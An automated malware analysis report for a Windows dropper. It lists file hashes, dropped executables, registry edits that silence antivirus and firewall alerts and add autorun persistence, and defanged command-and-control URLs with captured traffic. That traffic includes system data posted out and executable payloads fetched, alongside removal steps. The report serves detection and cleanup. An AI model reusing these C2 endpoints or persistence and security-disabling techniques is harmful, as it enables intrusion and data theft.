Susp_Dropper (Kaspersky), Gen:Variant.Kazy.553443 (B) (Emsisoft), Gen:Variant.Kazy.553443 (AdAware), mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Malware
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: cf5daffafe59a734bee2e9f827a0999b
SHA1: 79516ddf8a7a4715d34f22287fc38857778ce302
SHA256: 40bdd55df007f5fd2088fe4519d97a86a3e868301c3adcc0af302581cb20bdf4
SSDeep: 24576:GfPbMDZb9B z6wLzt4CBNjmES3sISHZGnxQBlTMa8J:ePcZK6wLzmCHjC5SKqTl8
Size: 1184256 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2015-02-06 23:01:02
Analyzed on: WindowsXP SP3 32-bit
Summary: Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Malware creates the following process(es):
twrpxvri0mak5.exe:4132
pjkdmfmpqb5ngr.exe:5176
twrpxvqwxiak5.exe:4412
nngekroe.exe:4128
nngekroe.exe:3144
nngekroe.exe:5676
pjkdmfmpqjy2gr.exe:4508
pjkdmfmpqhtogr.exe:2356
%original file name%.exe:2028
pjkdmfmpq64ogrpygjse1.exe:2240
twrpxvr4uoak5.exe:2544
cuirxxomtdrp.exe:3720
cuirxxomtdrp.exe:4040
The Malware injects its code into the following process(es):No processes have been created.
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process nngekroe.exe:4128 makes changes in the file system.
The Malware creates and/or writes to the following file(s):
%System%\tsczlwlt\tst (10 bytes)
The process nngekroe.exe:3144 makes changes in the file system.
The Malware creates and/or writes to the following file(s):
%System%\tsczlwlt\tst (10 bytes)
%System%\cuirxxomtdrp.exe (7726 bytes)
%WinDir%\Temp\pjkdmfmpqb5ngr.exe (35 bytes)
%WinDir%\Temp\pjkdmfmpqhtogr.exe (26431 bytes)
%System%\tsczlwlt\cfg (175 bytes)
%WinDir%\Temp\pjkdmfmpqjy2gr.exe (7726 bytes)
%System%\tsczlwlt\run (10 bytes)
%System%\tsczlwlt\rng (44 bytes)
The Malware deletes the following file(s):
%WinDir%\Temp\pjkdmfmpqb5ngr.exe (0 bytes)
%WinDir%\Temp\pjkdmfmpqhtogr.exe (0 bytes)
The process nngekroe.exe:5676 makes changes in the file system.
The Malware creates and/or writes to the following file(s):
%System%\tsczlwlt\tst (10 bytes)
%System%\cuirxxomtdrp.exe (7547 bytes)
%WinDir%\Temp\twrpxvr4uoak5.exe (7547 bytes)
%WinDir%\Temp\twrpxvqwxiak5.exe (35 bytes)
%System%\tsczlwlt\cfg (613 bytes)
%WinDir%\Temp\twrpxvqy4wak5.exe (1940 bytes)
%System%\tsczlwlt\por (1 bytes)
%System%\tsczlwlt\run (10 bytes)
%System%\tsczlwlt\rng (116 bytes)
%WinDir%\Temp\twrpxvri0mak5.exe (35 bytes)
The Malware deletes the following file(s):
%WinDir%\Temp\twrpxvqy4wak5.exe (0 bytes)
%WinDir%\Temp\twrpxvri0mak5.exe (0 bytes)
%WinDir%\Temp\twrpxvqwxiak5.exe (0 bytes)
%WinDir%\Temp\twrpxvr4uoak5.exe (0 bytes)
The process pjkdmfmpqjy2gr.exe:4508 makes changes in the file system.
The Malware creates and/or writes to the following file(s):
%System%\tsczlwlt\tst (10 bytes)
The process pjkdmfmpqhtogr.exe:2356 makes changes in the file system.
The Malware creates and/or writes to the following file(s):
%System%\tsczlwlt\tst (10 bytes)
%System%\nngekroe.exe (7547 bytes)
The Malware deletes the following file(s):
%System%\nngekroe.exe (0 bytes)
The process %original file name%.exe:2028 makes changes in the file system.
The Malware creates and/or writes to the following file(s):
%System%\tsczlwlt\tst (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\pjkdmfmpq64ogrpygjse1.exe (7386 bytes)
The Malware deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\pjkdmfmpq64ogrpygjse1.exe (0 bytes)
The process pjkdmfmpq64ogrpygjse1.exe:2240 makes changes in the file system.
The Malware creates and/or writes to the following file(s):
%System%\nngekroe.exe (7726 bytes)
%System%\tsczlwlt\tst (10 bytes)
%System%\tsczlwlt\etc (10 bytes)
%System%\drivers\etc\hosts (22 bytes)
The Malware deletes the following file(s):
%System%\drivers\etc\hosts (0 bytes)
The process twrpxvr4uoak5.exe:2544 makes changes in the file system.
The Malware creates and/or writes to the following file(s):
%System%\tsczlwlt\tst (10 bytes)
The process cuirxxomtdrp.exe:3720 makes changes in the file system.
The Malware creates and/or writes to the following file(s):
%System%\tsczlwlt\tst (10 bytes)
The process cuirxxomtdrp.exe:4040 makes changes in the file system.
The Malware creates and/or writes to the following file(s):
%System%\tsczlwlt\tst (10 bytes)
Registry activity
The process twrpxvri0mak5.exe:4132 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "12 5D E9 E9 66 9A C0 1C 1A 47 63 53 00 E7 16 BC"
The process pjkdmfmpqb5ngr.exe:5176 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E2 3C 70 6E EC 4B 7C 9D B3 E8 34 85 CB AF B5 13"
The process twrpxvqwxiak5.exe:4412 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "32 85 35 4C D0 0D 9F BB 08 82 A8 3F 18 73 3A EE"
The process nngekroe.exe:3144 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "67 60 51 D6 3D D2 F2 47 65 31 85 2A 3B A9 3F 2C"
[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusOverride" = "1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallOverride" = "1"
"FirewallDisableNotify" = "1"
Antivirus notifications are disabled:
[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusDisableNotify" = "1"
The process nngekroe.exe:5676 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C7 51 1A CB 5A FD 09 4D DA 05 5D B5 BA DA EF 84"
[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusOverride" = "1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallOverride" = "1"
"FirewallDisableNotify" = "1"
Antivirus notifications are disabled:
[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusDisableNotify" = "1"
The process pjkdmfmpqjy2gr.exe:4508 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9F 7C 4E 81 41 28 D3 9A 09 22 3D 06 87 53 FB 5A"
The process pjkdmfmpq64ogrpygjse1.exe:2240 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "79 DF 03 53 E0 F6 0B F7 92 99 11 41 51 1C BB 47"
To automatically run itself each time Windows is booted, the Malware adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"CNG Power Redirector Internet Human" = "%System%\nngekroe.exe"
The process twrpxvr4uoak5.exe:2544 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7F 9E A1 9C F7 78 2D B4 E5 C5 41 22 E0 5F 36 B9"
Dropped PE files
MD5 | File path |
---|---|
084f1ad4f3a8031944c90c2d58546d18 | c:\WINDOWS\Temp\pjkdmfmpqhtogr.exe |
084f1ad4f3a8031944c90c2d58546d18 | c:\WINDOWS\Temp\twrpxvr4uoak5.exe |
084f1ad4f3a8031944c90c2d58546d18 | c:\WINDOWS\system32\cuirxxomtdrp.exe |
084f1ad4f3a8031944c90c2d58546d18 | c:\WINDOWS\system32\nngekroe.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
twrpxvri0mak5.exe:4132
pjkdmfmpqb5ngr.exe:5176
twrpxvqwxiak5.exe:4412
nngekroe.exe:4128
nngekroe.exe:3144
nngekroe.exe:5676
pjkdmfmpqjy2gr.exe:4508
pjkdmfmpqhtogr.exe:2356
%original file name%.exe:2028
pjkdmfmpq64ogrpygjse1.exe:2240
twrpxvr4uoak5.exe:2544
cuirxxomtdrp.exe:3720
cuirxxomtdrp.exe:4040 - Delete the original Malware file.
- Delete or disinfect the following files created/modified by the Malware:
%System%\tsczlwlt\tst (10 bytes)
%System%\cuirxxomtdrp.exe (7726 bytes)
%WinDir%\Temp\pjkdmfmpqb5ngr.exe (35 bytes)
%WinDir%\Temp\pjkdmfmpqhtogr.exe (26431 bytes)
%System%\tsczlwlt\cfg (175 bytes)
%WinDir%\Temp\pjkdmfmpqjy2gr.exe (7726 bytes)
%System%\tsczlwlt\run (10 bytes)
%System%\tsczlwlt\rng (44 bytes)
%WinDir%\Temp\twrpxvr4uoak5.exe (7547 bytes)
%WinDir%\Temp\twrpxvqwxiak5.exe (35 bytes)
%WinDir%\Temp\twrpxvqy4wak5.exe (1940 bytes)
%System%\tsczlwlt\por (1 bytes)
%WinDir%\Temp\twrpxvri0mak5.exe (35 bytes)
%System%\nngekroe.exe (7547 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\pjkdmfmpq64ogrpygjse1.exe (7386 bytes)
%System%\tsczlwlt\etc (10 bytes)
%System%\drivers\etc\hosts (22 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"CNG Power Redirector Internet Human" = "%System%\nngekroe.exe" - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 812347 | 812544 | 4.48125 | 607356d629bad1a1ed093d1298d036bd |
.rdata | 819200 | 301324 | 301568 | 4.85617 | 75baa3a308f7b9afe93e9c5014f2d2c0 |
.data | 1122304 | 42724 | 8192 | 3.32639 | 16360643dd3080fee60a1427f3f79253 |
.reloc | 1167360 | 60466 | 60928 | 4.58079 | 23c84d38c5f03e9a650e46089a6ffb82 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://98.139.135.198/index.php?method=update&noxor&exe=nngekroe.exe®=CNG Power Redirector Internet Human&svc=Discovery Font Name Superfetch Detection TPM&wname=cuirxxomtdrp.exe&dir=tsczlwlt&mode=sox&v=040&sox=4b177201&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr | |
hxxp://p9p-i.geo.vip.bf1.yahoo.com/index.php?method=checkport&port=29865&mode=sox&v=040&sox=4b177201&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr | |
hxxp://p9p-i.geo.vip.bf1.yahoo.com/index.php?method=validate&mode=sox&v=043&sox=4b177201&lenhdr | |
hxxp://p9p-i.geo.vip.bf1.yahoo.com/index.php?method=all&flag&mode=sox&v=043&sox=4b177201&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr | |
hxxp://p9p-i.geo.vip.bf1.yahoo.com/index.php?method=setvar&key=cpuinfo&value=Intel(R) Core(TM)2 Duo CPU E6550 @ 2.33GHz (2337 MHz)&mode=sox&v=043&sox=4b177201&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr | |
hxxp://p9p-i.geo.vip.bf1.yahoo.com/index.php?method=post&type=diskspace&mode=sox&v=043&sox=4b177201&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr | |
hxxp://p9p-i.geo.vip.bf1.yahoo.com/index.php?method=setvar&key=connected&value=8083&mode=sox&v=043&sox=4b177201&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr | |
hxxp://ableread.net/index.php?method=validate&mode=sox&v=043&sox=4b177201&lenhdr | 98.139.135.198 |
hxxp://ableread.net/index.php?method=setvar&key=connected&value=8083&mode=sox&v=043&sox=4b177201&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr | 98.139.135.198 |
hxxp://ableread.net/index.php?method=all&flag&mode=sox&v=043&sox=4b177201&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr | 98.139.135.198 |
hxxp://ableread.net/index.php?method=setvar&key=cpuinfo&value=Intel(R) Core(TM)2 Duo CPU E6550 @ 2.33GHz (2337 MHz)&mode=sox&v=043&sox=4b177201&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr | 98.139.135.198 |
hxxp://ableread.net/index.php?method=post&type=diskspace&mode=sox&v=043&sox=4b177201&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr | 98.139.135.198 |
hxxp://ableread.net/index.php?method=update&noxor&exe=nngekroe.exe®=CNG Power Redirector Internet Human&svc=Discovery Font Name Superfetch Detection TPM&wname=cuirxxomtdrp.exe&dir=tsczlwlt&mode=sox&v=040&sox=4b177201&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr | 98.139.135.198 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /index.php?method=setvar&key=cpuinfo&value=Intel(R) Core(TM)2 Duo CPU E6550 @ 2.33GHz (2337 MHz)&mode=sox&v=043&sox=4b177201&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0
Accept: */*
Connection: close
Host: ableread.net
HTTP/1.0 200 OK
Date: Thu, 26 Mar 2015 11:14:08 GMT
P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Content-Type: text/html
Age: 0
Server: ATS/5.0.1
11..............
GET /index.php?method=all&flag&mode=sox&v=043&sox=4b177201&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0
Accept: */*
Connection: close
Host: ableread.net
HTTP/1.0 200 OK
Date: Thu, 26 Mar 2015 11:14:08 GMT
P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Content-Type: text/html
Age: 0
Server: ATS/5.0.1
51731.ping.5.FLAG cfg.206."mouthgray.net" "ableread.net" "walkword.net" "monthnext.net" "nailthere.net" "bothplain.net" "fearstate.net" "fridayloss.net" "storyocean.net" "longcold.net" "ithouneed.com" "eggbraker.com" "naildeep.com" var_user_ip.249.Þp_host% = "constancenicholson.net";.Þp_path% = "/dep/";.%no_password% = "0";.%timer% = "1200";.%ip% = "162.213.195.35";.%port% = "8079";.%relay_soxid% = "8083";.%thread_timeout% = "300";.%cpuinfo% = "QEMU Virtual CPU version 0.9.1 (2326 MHz)";.plugin.51216.diskspace.0.MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........S...2...2...2.......2...2...2..A}t..2...`w..2...`a..2...`f..2...`s..2..Rich.2..........................PE..L......T.....................L....................@.........................................................................D...(...................................................................(...@...............4............................text............................... ..`.rdata........... ..................@..@.data....*..........................@.................................................................................................................................................................................................................................................................................................................................................................................................................................
<<< skipped >>>
GET /index.php?method=setvar&key=connected&value=8083&mode=sox&v=043&sox=4b177201&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0
Accept: */*
Connection: close
Host: ableread.net
HTTP/1.0 200 OK
Date: Thu, 26 Mar 2015 11:14:09 GMT
P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN
POST /index.php?method=post&type=diskspace&mode=sox&v=043&sox=4b177201&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0
Accept: */*
Connection: close
Host: ableread.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
data=QzoJNDAzNAk4MTgxCTE5ODkJMA0KRDoJOTc2CTEwMTEJNzIzCTANCnRvdGFsOgk1MDExCTkxOTMJMjcxMgkwDQpwczoJMAkwDQo=
HTTP/1.0 200 OK
Date: Thu, 26 Mar 2015 11:14:09 GMT
P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Content-Type: text/html
Age: 0
Server: ATS/5.0.1
11..............
relayrqst
ID
..
GET /index.php?method=update&noxor&exe=nngekroe.exe®=CNG Power Redirector Internet Human&svc=Discovery Font Name Superfetch Detection TPM&wname=cuirxxomtdrp.exe&dir=tsczlwlt&mode=sox&v=040&sox=4b177201&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0
Accept: */*
Connection: close
Host: ableread.net
HTTP/1.0 200 OK
Date: Thu, 26 Mar 2015 11:13:42 GMT
P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Content-Type: text/html
Age: 0
Server: ATS/5.0.1
1138699.MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L......U.....................D....................@..........................................................................<..P.......................................................................@............................................text............................... ..`.rdata..............................@..@.data........P... ...@..............@...........................................................................................................................................................................................................................................................................................................................................................................................................................................U..j.h.WL.d.....P..D....0[Q.3..E.P.E.d......U...f.E...."P.........."P..]...."P..]..............U........E.....j.j..M.......E......E...........P.........E.........."P.......,UQ........%."P........M.........j.hG....wa......E..U.R......P.........M.Qj.............Q.R.M..q_..j.h5....5a......E..E.P.M.......M.Qj...........`TQ..M...`TQ..E...."P..].....Q.R.M......f.<VQ.f...f.<VQ....<VQ.....J'f.M.j.h5.....`..............RQ...."P....RQ....RQ...."P.....TQ...........................f..TQ.f...f..TQ...
<<< skipped >>>
GET /index.php?method=validate&mode=sox&v=043&sox=4b177201&lenhdr HTTP/1.0
Accept: */*
Connection: close
Host: ableread.net
HTTP/1.0 200 OK
Date: Thu, 26 Mar 2015 11:14:07 GMT
P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Content-Type: text/html
Age: 0
Server: ATS/5.0.1
1177.305..p$U...... .ableread.net..............x...j:.b.......c........Q..P..e;E-[...M[`.^..h..%w.. ..YA...<$P........\.qOp........P..........L..D.9..$x'-.... ..#...N......t.S..."....Q.v...|.l ...:...vA/C.../'.W..&Q~..O.a..S..Qx.....<.r1\.....Pz...,.;D.V.d.@3...o..Q1}..h7.......Q...o......a..0VdQ.....=5.....z}@ro=...4./#.."...q..=..OO..zv...Xo.....5.w..q>.S......*.\.;...r.....Hm.l...d....q...Qx..V.`.....G. ...95..N..U...w.c.qBo@.lZ]Tp.P..-}o...W_...q....N?H{!........` .k.........FG..o..[.#...........{8...r..1"...U{.v..94.Q"...u..`.M..Ew...TTQ.l9..........R!v.....x...?..G.@C@..}...t. ...D...$.i.i|@;..t.........E=n..Mo.0....@_...8..!.jU)..x...^F..,..b.n.i..E....x.F.<....B&.b....7f..v.HW........m.........J5._L.f.6o.uI...[.....]..%..'. .V..W.6.x@.}r..M`..a....g.Ds..'..........J8.v.F.1.6<,......[G=...d.H..:...t.S#v....t.j.w..cZY,.Y.AE.."5..1..%B......x.P|.OO..Atdy..e.~Y.`.x..?~.F.X..5..mg...[..y...<..E....a.-.k.........x......I......R.....|h.L........'...`.[,M..Hp...2..X>u48..........D..r...........I....|.7....S............O.)..`l.R....&.H................q..B...bG...0...0.E. .%..8o...N........)R.jc...5_l_....l..j....3.!..t8.gq...I....x..b...{.....Y..L6...L?0a.~...H.i....
Map
The Malware connects to the servers at the folowing location(s):
Strings from Dumps
pjkdmfmpqjy2gr.exe_4508:
.text
.text
`.rdata
`.rdata
@.data
@.data
.reloc
.reloc
b?.Qf
b?.Qf
xSSSh
xSSSh
FTPjKS
FTPjKS
FtPj;S
FtPj;S
C.PjRV
C.PjRV
icruupemy tlgozotio rvudog curfa ivcca olyfir pmyumhv dfutareco tbmenuif prpejgdewr afjsoicigf nmrih lyfeeefj gsefoecu jgrurj scot cfdiifldam vggefabf ggueubomu wez mdbaaggcep ancgubmg koojxe diqcoms kjlecmf qbpiidbog npzubyfos gjdogfjiam ngre ing fcloucrx dvdorhofar kpliit jje qpka dlfakcsufj fgidaklupe ojfb wbbeu vqnarflo nvmagwfed irjqebzsi jbhogza llxumoofo lolfe dttooqi cbpidyvudb afjuzumb jfni ebckasecn ubuceca cpzofzceed nowc mkfam olsinip kciefia jaw cvtewlqeu lylup ppto rsn jgpir aaz rufd vylivsso bju rfolud jimluncceg sboyolp fzba dsxajlnied jcwop xdn eusfvov osmzew dompectuzu vujqedi sjxu opabbi jqjuh pjpiiuemsg nexpeis srobeg vpkoberxax uzcbuuh zsigur bcacabm
icruupemy tlgozotio rvudog curfa ivcca olyfir pmyumhv dfutareco tbmenuif prpejgdewr afjsoicigf nmrih lyfeeefj gsefoecu jgrurj scot cfdiifldam vggefabf ggueubomu wez mdbaaggcep ancgubmg koojxe diqcoms kjlecmf qbpiidbog npzubyfos gjdogfjiam ngre ing fcloucrx dvdorhofar kpliit jje qpka dlfakcsufj fgidaklupe ojfb wbbeu vqnarflo nvmagwfed irjqebzsi jbhogza llxumoofo lolfe dttooqi cbpidyvudb afjuzumb jfni ebckasecn ubuceca cpzofzceed nowc mkfam olsinip kciefia jaw cvtewlqeu lylup ppto rsn jgpir aaz rufd vylivsso bju rfolud jimluncceg sboyolp fzba dsxajlnied jcwop xdn eusfvov osmzew dompectuzu vujqedi sjxu opabbi jqjuh pjpiiuemsg nexpeis srobeg vpkoberxax uzcbuuh zsigur bcacabm
wfmonsjim dsmo ebgs rnigog wvza luhduh jmfubgcis uojgisa lfy ngfipmbedi dol bmsafq ccvems sdyodave wbjafmsagy fubcob gccinrfucr qanumu eclweh dgtiqoj jtfupmfe bnp mlac xqo flinap klgoe vjceq vxsojiwr pljaltpoo lklujw yajpof icbmil xss qbwepjt skkuec gxumirtmuo igjsurjliz tigbeja lkluizo oaxqbuzbfe bipmib rdxuadjp gvjobo aeurib bchafc faj kzfik zcminba xrrii mxna cqf jngioj kdki fptomabnaj magec odsvopsv ejjjo etgsuvlan pseca doaudce brlazzn szbafld ypb jnd zcaenibaoi bfyap mfj sig dblaosr gsda nbt zfcasj xfj admp wpfotcje ggnucggub zlbambjef pncupzmu epstal lsacauoi uzzd urlgavjs fqtafcacik alfenutnmu itejmoda unr ijsves juuhlocdu qlbeignma tboja auzc sflecnbi eqt utmruhzd beml iffnoxg
wfmonsjim dsmo ebgs rnigog wvza luhduh jmfubgcis uojgisa lfy ngfipmbedi dol bmsafq ccvems sdyodave wbjafmsagy fubcob gccinrfucr qanumu eclweh dgtiqoj jtfupmfe bnp mlac xqo flinap klgoe vjceq vxsojiwr pljaltpoo lklujw yajpof icbmil xss qbwepjt skkuec gxumirtmuo igjsurjliz tigbeja lkluizo oaxqbuzbfe bipmib rdxuadjp gvjobo aeurib bchafc faj kzfik zcminba xrrii mxna cqf jngioj kdki fptomabnaj magec odsvopsv ejjjo etgsuvlan pseca doaudce brlazzn szbafld ypb jnd zcaenibaoi bfyap mfj sig dblaosr gsda nbt zfcasj xfj admp wpfotcje ggnucggub zlbambjef pncupzmu epstal lsacauoi uzzd urlgavjs fqtafcacik alfenutnmu itejmoda unr ijsves juuhlocdu qlbeignma tboja auzc sflecnbi eqt utmruhzd beml iffnoxg
uXdncoq sgnisjaxo wvodug fuu lssiql ldbiou mqleesfj kzmugt ogqme vtjellc ucsozupbra uvjgope cnbu rgij llf gxeridm mfazuxcxoc assn rjueduvl ctn dgcuf qct hormantv vuweu msgazm qomd bcsig atl baoyi gjpaa vnkecuagd bibgicdjo fybiw jfzuod zflijsmen ncgocqnij sjbo cojwa ycboxifrel dcudolltu csibai flza ejplepnzu tpq mgtojcj bzzajoak turb sgose hlni icja nadvac fhte vtfoc mufpap cfpufq cadzibsoo gicni vleekibcj edbgep jdcuaf ztqidjral eelszec gtbulnsijr uymf tooumfisdt lgjit alsodi ajvvolti hbgeoxgse dcqoufr mxmief ial jhyok zdce jju cnl htjen atbigok ahnjoz mubraxnl vcbejp fdlagmdi rfmi sgfe fofnexrjoj nonwiiosjy jlkacw azcti fzbacudlv
uXdncoq sgnisjaxo wvodug fuu lssiql ldbiou mqleesfj kzmugt ogqme vtjellc ucsozupbra uvjgope cnbu rgij llf gxeridm mfazuxcxoc assn rjueduvl ctn dgcuf qct hormantv vuweu msgazm qomd bcsig atl baoyi gjpaa vnkecuagd bibgicdjo fybiw jfzuod zflijsmen ncgocqnij sjbo cojwa ycboxifrel dcudolltu csibai flza ejplepnzu tpq mgtojcj bzzajoak turb sgose hlni icja nadvac fhte vtfoc mufpap cfpufq cadzibsoo gicni vleekibcj edbgep jdcuaf ztqidjral eelszec gtbulnsijr uymf tooumfisdt lgjit alsodi ajvvolti hbgeoxgse dcqoufr mxmief ial jhyok zdce jju cnl htjen atbigok ahnjoz mubraxnl vcbejp fdlagmdi rfmi sgfe fofnexrjoj nonwiiosjy jlkacw azcti fzbacudlv
d.plb
d.plb
pijcoj ovvigijif lvdugobo xcdetoudza lzteo uccer numbi kxlagrjo jajopugv hoadzii onvd albv nurlaeld nsa lfa zggiig art mauej fsya mtbevl memviu sfkipgvudm nvgufnir ecghu dduhin bembibenlu vjwuap ecobmodylo migcallbet jimf gesdevf nlo bfvojv mgfipsfasd jfyuvu jmr blc ccelesp mfnegv cptupq zrgituo uocunc tllozcwox opvboikzne tnnaw iieedac ofdiquofgm osgtofl gipigaott dcn slj beepz spenu ruevlu ynka icos vuutfat kfcemees yrjaxpwas pocixet ezc ignualit hmjuz rjlivvgud gocgatfmo jqnajwdo xap yisr nmlave kgquj dsgulfweo jlgaddjuew sjhicdbu mrwinlm jpmuivu zazwu opemb txu fqbaj qlawun ytben udezgi gojlucde ekrto lnbanumsai ebjlud bjgab jowr nfa ofdanufatc ebmmebwnal cnpatzredt depvu,
pijcoj ovvigijif lvdugobo xcdetoudza lzteo uccer numbi kxlagrjo jajopugv hoadzii onvd albv nurlaeld nsa lfa zggiig art mauej fsya mtbevl memviu sfkipgvudm nvgufnir ecghu dduhin bembibenlu vjwuap ecobmodylo migcallbet jimf gesdevf nlo bfvojv mgfipsfasd jfyuvu jmr blc ccelesp mfnegv cptupq zrgituo uocunc tllozcwox opvboikzne tnnaw iieedac ofdiquofgm osgtofl gipigaott dcn slj beepz spenu ruevlu ynka icos vuutfat kfcemees yrjaxpwas pocixet ezc ignualit hmjuz rjlivvgud gocgatfmo jqnajwdo xap yisr nmlave kgquj dsgulfweo jlgaddjuew sjhicdbu mrwinlm jpmuivu zazwu opemb txu fqbaj qlawun ytben udezgi gojlucde ekrto lnbanumsai ebjlud bjgab jowr nfa ofdanufatc ebmmebwnal cnpatzredt depvu,
V.eD7
V.eD7
cd.GB`
cd.GB`
